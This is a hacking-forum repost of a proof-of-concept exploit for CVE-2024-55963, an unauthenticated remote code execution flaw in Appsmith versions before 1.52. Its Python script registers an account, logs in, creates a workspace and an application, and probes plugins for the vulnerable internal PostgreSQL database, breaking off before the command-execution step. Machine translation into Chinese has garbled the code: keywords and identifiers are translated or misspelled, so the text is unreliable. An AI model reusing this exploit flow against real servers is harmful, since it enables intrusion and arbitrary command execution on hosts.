H

Appsmith 1.47-远程代码执行(RCE)

HackApt-37 Team已验证会员

黑客倉庫站長

贡献: 83%
#利用标题: Appsmith 1.47-远程代码执行(RCE)
#原始作者:犀牛安全实验室
#利用作者: Nishanth Anand
#2025年4月2日
#供应商homepage: https://www.appsmith.com/
#软件link: https://github.com/appsmithorg/appsmith
#版本:在v1.52之前
#测试版本: V1.47
#CVE ID: CVE-2024-55963
#漏洞类型:远程代码执行
#description:在v1.52之前,在Appsmith版本中未经验证的远程代码执行,这是由于配置错误的PostgreSQL数据库,允许从程序命令执行中复制复制。
#概念证明:是
#类别: Web应用程序,远程代码执行,数据库
#CVSS得分: 9.8(关键)
#CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S3:U/C:U/C33:H/I3:H
#NOTES:漏洞存在于Appsmith的内部PostgreSQL数据库配置中,使攻击者可以在主机系统上执行任意命令。
导入请求
进口JSON
导入pyfiglet
导入argparse
#使用pyfiglet创建横幅
banner=pyfiglet.figlet_format('appsmith rce')#替换为您所需的标题
印刷(横幅)
#设置参数解析器
parser=argparse.argumentparser(description='appsmith rce概念证明')
parser.add_argument(' - u',' - url',必需=true,help='target的基本URL')
parser.add_argument('命令',nargs='?',默认='id',help='命令执行')
args=parser.parse_args()
#从解析的参数中获取基本URL和命令
base_url=args.url
command_arg=args.command
如果不是base_url.startswith('http://'),而不是base_url.startswith('https://'):
base_url='http://' + base_url
#注册请求
signup_url=f'{base_url}/api/v1/用户'
signup_data={
'email':'[email protected]',
'password':'testing123!'
}
打印(“注册.”)
signup_response=requests.post(Ingip_url,data=signup_data)
signup_response.raise_for_status()
#登录请求
login_url=f'{base_url}/api/v1/login'#根据需要调整URL
login_headers={
'用户代理:'Mozilla/5.0(Macintosh; Intel Mac OS X 10.15; Rv:132.0)Gecko/20100101 Firefox/132.0',
'Accept':'text/html,application/xhtml+xml,application/xml; q=0.9,/; q=0.8',
'Accept-Language':'En-us,en; q=0.5',
'接受编码:'gzip,deflate',
'content-type':'应用程序/x-www-form-urlencoded',
'Origin': base_url,
'Connection':'keep-alive',
'referer': f'{base_url}/user/login',
'cookie':'AJS_USER_ID=E471142002A6163A3BEFF6EE71606EA55D631C49E566F403B0614AF905AE951D;对讲机- 设备-ID-Y10E7138=83F9C6A5-3C0B-409E-9D7B-9CA61A129F49;会话=1E786474-3B33-407D-BE71-47D986031A24; ajs_anonymous_id=8E91142E-EA5A-4725-91B6-439E8BD0ABC1; compomession-y10e7138=bhi4snhsrfhmuuvluxpgz0v0r0lzukzssmxeqkfjkfjkzrav20wmgtnagtnagtjwjjjjoc1ayswv6r NL2C1AVBUY4EEKXAC0TK1PQNHNKYLZXVZBIB1F3NVHXK0POQT09--0DAA2198FE171222291B91B91B90ABDBDBDB3E78D193AD2AD2ED',
}
login_data={
'username':'[email protected]',#调整以匹配提供的请求
'password':'testing123!'
}
#在不遵循重定向的情况下进行登录请求
打印('登录.')
login_response=requests.post(login_url,headers=login_headers,data=login_data,ally_redirects=false)
login_response.raise_for_status()
#捕获“ set-cookie”标头(如果存在)
set_cookie=login_response.headers.get('set-cookie')
如果set_cookie:
#拆分set-cookie标头以获取cookie名称和值
cookie_name,cookie_value=set_cookie.split(';')[0] .split('=')
#创建新工作区的第四个请求
打印(“创建一个新的工作区.”)
如果set_cookie:
fourth_request_url=f'{base_url}/api/v1/workspaces'
fourth_request_headers={
'用户代理:'Mozilla/5.0(Macintosh; Intel Mac OS X 10.15; RV:131.0)壁虎/20100101 Firefox/131.0',
'Accept':'应用程序/JSON,文本/平原, /',
'Accept-Language':'En-us,en; q=0.5',
'接受编码:'gzip,deflate',
'content-type':'应用程序/json',
'x-重新征用by':'appsmith',
'Connection':'keep-alive',
'referer': f'{base_url}/applications',
'cookie': f'{cookie_name}={cookie_value}',#使用捕获的会话cookie
}
fourtth_request_data=json.dumps({'name':'无标题workspace 3'})
fourtth_response=requests.post(fourth_request_url,headers=fourth_request_headers,data=fourth_request_data)
fourth_response.raise_for_status()
#如果存在,请从响应中提取“ ID”
TRY:
response_json=fourth_response.json()
workspace_id=response_json.get('data',{})。get('id')
valueerror:除外
print('响应内容无效JSON:',fourtth_response.text)#打印原始响应以调试
如果Workspace_id:
fifth_request_url=f'{base_url}/api/v1/applications'
fifth_request_headers={
'用户代理:'Mozilla/5.0(Macintosh; Intel Mac OS X 10.15; RV:131.0)壁虎/20100101 Firefox/131.0',
'Accept':'应用程序/JSON,文本/平原, /',
'Accept-Language':'En-us,en; q=0.5',
'接受编码:'gzip,deflate',
'content-type':'应用程序/json',
'x-重新征用by':'appsmith',
'content Length':'161',
'Origin': base_url,
'Connection':'keep-alive',
'referer': f'{base_url}/applications?workspaceId={workspace_id}',
'cookie': f'{cookie_name}={cookie_value}',
}
fifth_request_data=json.dumps({'workspaceID':Workspace_id,'name':'untitled application 2','color':'#e3deff','iCON':'chinese-remnibi','tocationType':'fixed','show avavbar':none})
打印(“创建新应用程序.”)
fifth_response=请求。
fifth_response.raise_for_status()
TRY:
response_json=fifth_response.json()
application_id=response_json.get('data',{})。get('id')
valueerror:除外
打印(“响应内容无效JSON:”,fifth_response.text)
#获得工作空间详细信息的第六个请求
如果Workspace_id:
sixth_request_url=f'{base_url}/api/v1/workspaces/{workspace_id}'
sixth_request_headers={
'用户代理:'Mozilla/5.0(Macintosh; Intel Mac OS X 10.15; Rv:132.0)Gecko/20100101 Firefox/132.0',
'Accept':'应用程序/JSON,文本/平原, /',
'Accept-Language':'En-us,en; q=0.5',
'接受编码:'gzip,deflate',
'X-aNonymous-user-id':'8E91142E-EA5A-4725-91B6-439E8BD0ABC1',
'Connection':'keep-alive',
'referer': f'{base_url}/app/untitled-application-2/page1-67294f8c2f2a476b7cdc6e20/edit',
'cookie': f'{cookie_name}={cookie_value}',
}
打印(“获取工作空间详细信息.”)
sixth_response=requests.get(sixth_request_url,标题=sixth_request_headers)
sixth_response.raise_for_status()
#从响应中提取所有插件ID
TRY:
response_json=sixth_response.json()
plugin_ids=[plugin.get('pluginid')for Response_json.get('data',{})。get('plugins',[])]
#通过第七请求的每个插件ID循环
打印(搜索脆弱的Postgres数据库.')
对于plugin_ids:中的plugin_id
#获得插件的表单数据的第七请求
seventh_request_url=f'{base_url}/api/v1/plugins/{plugin_id}/form'
seventh_request_headers={
'用户代理:'Mozilla/5.0(Macintosh; Intel Mac OS X 10.15; Rv:132.0)Gecko/20100101 Firefox/132.0',
'Accept':'应用程序/JSON,文本/平原, /',
'Accept-Language':'En-us,en; q=0.5',
'接受编码:'gzip,deflate',
'X-aNonymous-user-id':'8E91142E-EA5A-4725-91B6-439E8BD0ABC1',
'Connection':'keep-alive',
'referer': f'{base_url}/app/untitled-application-2/page1-67294f8c2f2a476b76b7cdc6e20/edit/edit/dataSources/new',new',new',new',
'cookie': f'{cookie_name}={cookie_value}',
}
TRY:
seventh_response=requests.get(seventh_request_url,headers=seventh_request_headers)
seventh_response.raise_for_status()
#从第七响应中提取端口值
TRY:
seventh_response_json=seventh_response.json()
如果seventh_response_json中的“数据”和seventh_response_json中的“ form” ['data'] :
form_data=seventh_response_json ['data'] ['form']
如果有任何(for form_data中的str(item)中的“ postgres”):
打印(找到可v'vulnerable Postgres数据库。')
休息
其他:
经过
除了(valueerror,indexError)为e:
经过
除了requests.exceptions.httperror为e:
打印(f'Error检查插件{plugin_id} : {e}')
继续
#找到“邮政邮政”后继续请求8
#找到“邮政邮政”后继续请求8
如果str中的“ postgres”(seventh_response_json):
TRY:
#尝试环境API端点
eighth_request_url=f'{base_url}/api/v1/emovents/workspaces/{workspace_id}?fetchdatasourcemeta=true'
eighth_reque
 
后退
顶部